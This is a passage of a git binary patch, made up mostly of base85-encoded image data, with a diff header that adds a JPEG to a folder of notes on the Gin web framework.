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 literal 0 HcmV?d00001 diff --git a/golang_frame/go_to_gin/gin阅读/img/11.1.jpeg b/golang_frame/go_to_gin/gin阅读/img/11.1.jpeg new file mode 100644 index 0000000000000000000000000000000000000000..07ae73b26fe11f6e252a2d3bc2350bb865b0114a GIT binary patch literal 16493 zcmc(`bwHcnwl)~7P~4?Jp+$?kODV+*6k1$TtVkN%Ekz2&tw4(w*N{>O!Ci|Lhv4oK zAXt&%cjvq3p7YI|``z!(nVC0P$sc+5&VKe@Ywf+BwcfkwyCndry0V%w00RR9;C=rB z+}#2w-#EQ@_p)%ckz#)1Xzy&{=5BL03s3}LVPgLEzQ3^V-#BI4Jpz700cLmZrkltctX zl>gh;T`PbL4={jnfrarDfJugdMTT+L319*MFmUcM`~~BGTo{=5V|;*%_Yj}p{suTH z022cX3lkgbuTkIM9dQ3U0GkYl{E48#0}34r+@~&-LO}^Rcq}g}+o*I$j#z~)U4tLu zQ`6AWJz`_$;C#jAt|N!Qb}1wRZacPTRnXPLnC7=Yn%7BcJ>Z#?jD|A-aft| zp`XISKSx9+CVfdxN&WgQEjKT}ps=X8r1WQ1HM|B67onKsD{e=qyfc1aE`Wv$U2^ZNtE=+7}ENtAraA9D2-3t~O zHqH~l2jmJmxE3xHPlbZ;C|@MxRJJ{25!OATvUDB6r)CvdW<&i2?cb37*MJ58w~+k} z*ni+c0tm4%?iUY>3?L7xHQ>{le2gR zE!Ie3OPsSRi#fR=nzj(|V&NH!V>I+>Fv<9%tK!9LDr)1dscYs`c3Cd#uy;IKM&G_E zXlExR%NO_~j!te>?f`^$fN8DSJAg7Y;8AK?wJ%9j&+IL0UXKT6H;chM?Fnmd&E@Up ztJ5W3JAtWMVz!@<+{h%b;oFmD=Jcej?`h_E$+YV=7%d^@!HU6QhjE#`+0-})#>J99?1K`*m z=~t~N9aZFkpb(JBoSCtPY}2o5IinYr`dt0NJ`8IZYgEq-|eqTDMCj#hAK!K)p>gt;A_1ghbEu-zPwHW3g(_B3WLSsxtxDwj#XipGDDfH90aYx9$Yj_n}o&w(M1LCcuvMqgo#Btjyxo= zvSVFcAM)8Ykz>DTSmsq+Iq%$eT+}}i8MJMO6;2PI*@tI3zYBT+ewMsWYx9x8W83hL zdWCpR&Hg&gMa@)y{rlUY$W-3bmcWd`K;t_=tIVp}O=ci7C=Hy9&I(KH2mqbUii%IJ zn0&2Fw2JPl`^=Dx#S$H>?AEA#^rl;m?C014nuyJK;dXQHwQT0NxMb}eAdBOdC-M%k zmxc!7Uz;3drK8>~Q&+l`Uix~5EO-4FfB#3Ms5e8!Sq%IzW#i?#0t0$!N^%Jp=}QxO z%VZa?Ej(O2?Y+PY-ph?az)Rb||F9IZWsauE?ns+T^Pk*?bbN#Lah&W~^%HBL5v%=> zVeJbJrj@v0bN-{i1dkF2#g2U41WYapRP#5zmvo#aaOq5S*9&&C1C z`-4Lfgg|S!_^857-iI+-%mX1F%NGORy|7@6-W4Y+cYsbX#p{vAw=$9|aYRj7a3N`X zq;1$byr~W-qxR==27sg5_at^jf=N`(4dvB-9Qgau9pLknfmP1Dcfj70x?}ds0x@n{ z&2%r41xz7j=}m@7^#TKeSu+UU!lHQ5HHEEKVp`1U7|e$a(g3``Wn2Ny6m?$7$dNtr z2{CF!;nerm{Fs|9Q+!6;g?p%VivKCPk$Fp1bn}+y$TMfDVH)c3kjEy`@VXO3aN+nn zI-&pN9!9SW!=p2b)foJPvE?vmf%gFk;V$yQSNGk}`Z11-*407jq3Ib$dS_F@>AT!^rFSH)= z>1xJfcWTpZpg1>jOENf;^E>9hNQhc4Uc%%z^O?>^?g04m%jAvsniLONRJrDc<~Bm0 zZ)IVny0_o@Anj~EcK})DJ3w>Xh0YxSFM0F&H01V5e%TC68Q}0eKsWVtNaL1_d-!r2 z_vRGR9{2bC?%L(;>S67CX(@CC9z~c#hE?Sc^KL2sp;H4BB_`uyrndz*!io1TUj5|O zSK$s2z;u-NcfHmlIj<(3Uls6gXXFP`H-{-DO0KBr(ixcrVY@T0z~xtp?*QM?Q@0N^ zj8ApYY1yMBrDG?52I4MC<+o%#?f^lFlcrhJ&1uSsYAarrM&B|cSkbI2_4Tty=0Qx6 zGTIge{oD$S{ZvBCeYCoe0s@LR{Rg<83MTIWJ{xy{e>(KhsYT3FGhyRVup@e#7wq&% z&o82#S+m&CRZEhEO03|>skPqwn@Y5!<73u^K`?l;JHy(^9p}w0wvu>636+mX^Wh1b zMTu;ZoYj8+hjRtCEEmV>P*-V zTM~@;DF-gXMc*$P|GTRKUbMtN*AiGHM`pWn3`@|kL2TEXooiZ<@yRcRKM8nzqmX!FH^|d|^YFvM;)X8BNC!+xYfx&HlN9I{4Akp}7kXHF1OA zf}SW~NnmF+w~nAogV5^0vHt`fgitd-I(9|8^4p zsp|fRM{kehtWf;%@2Bs-|K={eFmpT8e!NZLBRu!PQ%YUQeL81sQCDm!&H*dE&F_c#Y7ZCHKpRx3v=ehRg@JRP)$U8eNW z39dQODL>B3VDjC*rP-Yn3nZu#L(bQv+AbrK(X${sY}7pNoKA{DQb9hE`8lx!yS-Fq(NwTqj7y&%gs)>y1PhQEM&eUY9lx(kiq&$MJ?WOrPTtVUU z{CYW?Nc05!tf6>rM)Ax~vcftM&n1pesI&AI5Cl}WV+ZbQ6W;-BX?s4$b^I0yUc>#P zX4{jRB@UjC>u$E4ID9(p0h+Dl)%``c>7$F}Z@{l2C-nokTXCDnso%@+io^4|?uF?J{^w)+ ztWNmfc;BTCYE*H0w~>SAV-{*F7{6ALtFa!d9jfVpukQfA+MD|kmvg5;BGdd6Z{O2d z;|>>*DN;jGzr2E)~3pppU)DQeu;e)kV2WlO%UT7 zHI?<%W>B2&(VY$nE>~LL$1Rye5TG;1O~A%Rp6mHz@)7I0gpH>=?~IjsoW)!Q9lg`& z_V*igWc%c;8@!3~s%)$!duMh(4XdC0!f0c#MTWs{d?E21PP& zo+-yN#Ug*wC00E;U#^k$SNLV2H@>``)qt2ONJGrC*L-oqMOH;y!kY(+Ow5f2_RnT) zf*8UUN4`c^JP?o=^4rKR>H$+WKd$*hlwPoQ{!m!9zDg(p4~x|$&S6btm~=Q_v1Wll zM}RGHeVK@h$r2=x*qP|6&6)-_i}>Kno?0}cls6;e>!12tJdN+An7tsYAgw)J2>S!U zIG9KlZFM5s(Oiw#>%kAl)D5+E$=`s14}hghRsgb$bC`5)D7BR zRF2n%?S=iQyoWX89YqFlaB?*wIjCXBD~Ao@;#L=J9-Gm({CKEGqESMHU-gUOaQNXg058vh;R z;tz@Xie2GE`(}>$jM3~C*U0v<=?wg%3y;1_GC9@yz$^ljUXu2#>uI|8OR-h$pLX4m ze8-c&41du)iL&A-`aPAcqiE2Ao}+-bRP^Ld&loLg+q+K2NAaF+D3F0Nu9q^~V-d=yJS6Brqbu+uA7KxxjWJXws5#kx;Dd?S zGxRXlTdHA^3e@(WYL0(jTo~Csv*5Pv}6SjZ~4#!;$sz8 zako)@C0Z7DSrIrjw3LlLuGEd>EM(4&Q-GW;tpWObO%s^iiAXjM`_uG^rV}3g2&a*nOoOs2GJeg zc`QQhr=!7O8XIy1Q@((Eu|*@XN6dEgwb;Krto|CBigj*#P-3$>mG#AB*FYDv@F)VF zO{JP-$Sw267z4ZLJY&Fr3|_k#@>@Tn%!{i4+5U=X@qi&>#Nkf00 zAGgRIV5`~bi;!05kdTj~79K6tz(r5HIm2Z2pj6LuO(K7wO9@-KzA?^z=kI=kk~Yuu zk8MAMhy{GM)&H2lE@w}!MR6)xCa11jdQm&v3veKgw+=1 zP8G&mQ$s8}&mD&|Z_-wjbv8p6h*B##2jQOWa=j9E9Zm*`~a4vFA7fCvn(VFjn zi|CJOusY)RA#SV$2?1?wZL2{;Z#<(QliPuL>ihh=@9zML-F9X5>@i*|yynBNenbs7 zH6&Yv$+me(GhigOUV~;m{!6G!eYsn9olagt%@UTX4PdvUzMo=-JGs4+)MF=Bs^IoT zVfF+AP(tfxgz7PQAD?eFgVM*{|EP)%`Vvqj4n7?-ntz+eeH2d1-MX1|dGHJf$zGBM zZ?(`vzP0O^MS6o&-bP9i9cHUksIRQc#u8&@1MPY z37$RMKf%L);L}HW=(Kya$IW0vH34~Nx2k^}v+^}?V?+pyTUWR<~haK5B`2ZdlXNP-+pxVfaZy z8i5`nk#l0gC^SUkJ<``V$Z&ymG-njX+tr}@t`-ryOl|7)x+8}rL~GfK{XV!?P@;T| z@vjn-K!T~&qn3z0Q8i2Z)f&rg5eW`16?D0}zd)bM(;iANPs|9Zb$0vLI6ah8H<5go z+jdLsgh(gc%QNNIvaVHfEB<`bP3hZ#@5o7kc4~KU}p*)VT`AH-SZ1x*2j5r^%u81-Z?VDk3U|8 zdOiB^8s4bkVo&%}i5`)>DiN+KO>(Q)EWwXr>K;u5$NOVYJ#frri-E#lX)x63AuU3f{nC+ zvlttDqWVq~`ewu5SQ!8>tb{JZiDoYEkgmza8RLaw3gz0`SkPA}&%0NoTGsfb-#(E0 z#>`nC33iPrr{gSaIq&z^hoUzJ-qX-~nLI#~Jb*(%jHB>-r_yXtLAu=o4gdsRAl(H?2thE4rMfrABVP&egNv4ASb_A>`l 